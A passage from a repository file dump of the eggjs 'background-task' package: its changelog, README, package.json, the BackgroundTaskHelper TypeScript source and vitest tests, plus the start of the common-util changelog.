[3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n\n### Features\n\n* add backgroundTask.timeout config ([#101](https://github.com/eggjs/tegg/issues/101)) ([0b1eee0](https://github.com/eggjs/tegg/commit/0b1eee00d6feb9c6d4509023dffe85c0ada749c2))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n\n### Bug Fixes\n\n* BackgroundTaskHelper should support recursively call ([#90](https://github.com/eggjs/tegg/issues/90)) ([368ac03](https://github.com/eggjs/tegg/commit/368ac0343d0d4e96b3768e7fd169b721551d0e4b))\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n"
  },
  {
    "path": "tegg/core/background-task/README.md",
    "content": "# `@eggjs/background-task`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/background-task.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/background-task.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/background-task\n[snyk-image]: https://snyk.io/test/npm/@eggjs/background-task/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/background-task\n[download-image]: https://img.shields.io/npm/dm/@eggjs/background-task.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/background-task\n\n## install\n\n```sh\nnpm i --save @eggjs/background-task\n```\n\n## Usage\n\n```ts\nimport { BackgroundTaskHelper } from '@eggjs/background-task';\n\n@ContextProto()\nexport default class BackgroundService {\n  @Inject()\n  private readonly backgroundTaskHelper: BackgroundTaskHelper;\n\n  async backgroundAdd() {\n    this.backgroundTaskHelper.run(async () => {\n      // do the background task\n    });\n  }\n}\n```\n\n## Background\n\ntegg release the request context after request is done. So use the `process.nextTick`, `setTimeout`, `setInterval` in request is not safe.\nPlease use the `backgroundTaskHelper`, the release process will wait all the background tasks are done.\n\n## Timeout\n\nThe release process will wait tasks done, but not forever. The default timeout is 5s, if task will cost more than 5s, two ways to resolve\n\n- use the `SingletonProto` to do the work, `SingletonProto` never release\n- set longer timeout to `backgroundTaskHelper.timeout`\n"
  },
  {
    "path": "tegg/core/background-task/package.json",
    "content": "{\n  \"name\": \"@eggjs/background-task\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"background task util for tegg\",\n  \"keywords\": [\n    \"async\",\n    \"background\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/background-task\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/background-task\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/background-task/src/BackgroundTaskHelper.ts",
    "content": "import assert from 'node:assert';\n\nimport { ContextProto, Inject } from '@eggjs/core-decorator';\nimport { ContextHandler, EggContextLifecycleUtil } from '@eggjs/tegg-runtime';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggObjectLifecycle } from '@eggjs/tegg-types';\nimport type { EggLogger, EggAppConfig } from 'egg';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class BackgroundTaskHelper implements EggObjectLifecycle {\n  @Inject()\n  logger: EggLogger;\n\n  // default timeout for async task\n  timeout = 5000;\n\n  @Inject()\n  config: EggAppConfig;\n\n  private backgroundTasks: Array<Promise<void>> = [];\n\n  async init(): Promise<void> {\n    const ctx = ContextHandler.getContext();\n    assert(ctx, 'background task helper must be init in context');\n    EggContextLifecycleUtil.registerObjectLifecycle(ctx, {\n      preDestroy: async () => {\n        await this.doPreDestroy();\n      },\n    });\n    if (this.config.backgroundTask?.timeout) {\n      this.timeout = this.config.backgroundTask.timeout;\n    }\n  }\n\n  run(fn: () => Promise<void>): void {\n    const backgroundTask = new Promise<void>((resolve) => {\n      try {\n        fn()\n          // fn is resolve, resolve the task\n          .then(resolve)\n          .catch((e) => {\n            e.message = '[BackgroundTaskHelper] background throw error:' + e.message;\n            this.logger.error(e);\n            // fn is rejected, resolve the task\n            resolve();\n          });\n      } catch (e: any) {\n        e.message = '[BackgroundTaskHelper] create background throw error:' + e.message;\n        this.logger.error(e);\n        // create task failed, resolve the task\n        resolve();\n      }\n    });\n\n    this.backgroundTasks.push(backgroundTask);\n  }\n\n  async doPreDestroy(): Promise<void> {\n    // quick quit\n    if (!this.backgroundTasks.length) return;\n    const backgroundTasks = this.backgroundTasks.slice();\n    if (this.timeout <= 0 || this.timeout === Infinity) {\n      await Promise.all(backgroundTasks);\n    } else {\n      const { promise: timeout, resolve } = this.sleep();\n\n      await Promise.race([\n        // not block the pre destroy process too long\n        timeout,\n        // ensure all background task are done before destroy the context\n        Promise.all(backgroundTasks),\n      ]);\n      // always resolve the sleep promise\n      resolve();\n    }\n    if (this.backgroundTasks.length !== backgroundTasks.length) {\n      this.backgroundTasks = this.backgroundTasks.slice(backgroundTasks.length);\n      return this.doPreDestroy();\n    }\n  }\n\n  private sleep() {\n    let timer: NodeJS.Timeout;\n    let promiseResolve: () => void;\n    const now = Date.now();\n\n    const p = new Promise<void>((r) => {\n      promiseResolve = r;\n      timer = setTimeout(() => {\n        this.logger.error(\n          `[BackgroundTaskHelper] task is timeout actual is ${Date.now() - now} expect is ${this.timeout}`,\n        );\n        r();\n      }, this.timeout);\n    });\n\n    function resolve() {\n      // clear timeout and resolve the promise\n      clearTimeout(timer);\n      promiseResolve();\n    }\n\n    return {\n      promise: p,\n      resolve,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/background-task/src/index.ts",
    "content": "export * from './BackgroundTaskHelper.ts';\n"
  },
  {
    "path": "tegg/core/background-task/test/BackgroundTaskHelper.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { describe, it, beforeEach } from 'vitest';\n\nimport { BackgroundTaskHelper } from '../src/index.js';\n\ndescribe('test/BackgroundTaskHelper.test.ts', () => {\n  let helper: BackgroundTaskHelper;\n\n  beforeEach(() => {\n    helper = new BackgroundTaskHelper();\n    helper.logger = console as any;\n  });\n\n  describe('fn is ok', () => {\n    it('should done', async () => {\n      let run = false;\n      helper.run(async () => {\n        await TimerUtil.sleep(10);\n        run = true;\n      });\n\n      await helper.doPreDestroy();\n      assert(run);\n    });\n  });\n\n  describe('fn is timeout', () => {\n    it('should done', async () => {\n      let run = false;\n      helper.timeout = 10;\n      helper.run(async () => {\n        await TimerUtil.sleep(100);\n        run = true;\n      });\n\n      await helper.doPreDestroy();\n      assert(run === false);\n    });\n  });\n\n  describe('fn reject', () => {\n    it('should done', async () => {\n      helper.run(async () => {\n        await TimerUtil.sleep(10);\n        throw new Error('mock error');\n      });\n\n      await helper.doPreDestroy();\n    });\n  });\n\n  describe('fn throw error', () => {\n    it('should done', async () => {\n      helper.run(() => {\n        throw new Error('mock error');\n      });\n\n      await helper.doPreDestroy();\n    });\n  });\n\n  describe('recursive fn', () => {\n    it('should done', async () => {\n      let runDone = 0;\n      helper.run(async () => {\n        await TimerUtil.sleep(10);\n        runDone++;\n        helper.run(async () => {\n          await TimerUtil.sleep(10);\n          runDone++;\n        });\n      });\n\n      await helper.doPreDestroy();\n      assert(runDone === 2);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/background-task/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"BackgroundTaskHelper\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/background-task/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/background-task/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/background-task/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/common-util/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* convert fileURL to normal path ([#294](https://github.com/eggjs/tegg/issues/294)) ([34c1b64](https://github.com/eggjs/tegg/commit/34c1b645d368a712ae255c06bd1bc2d09780e095))\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-common-util\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package 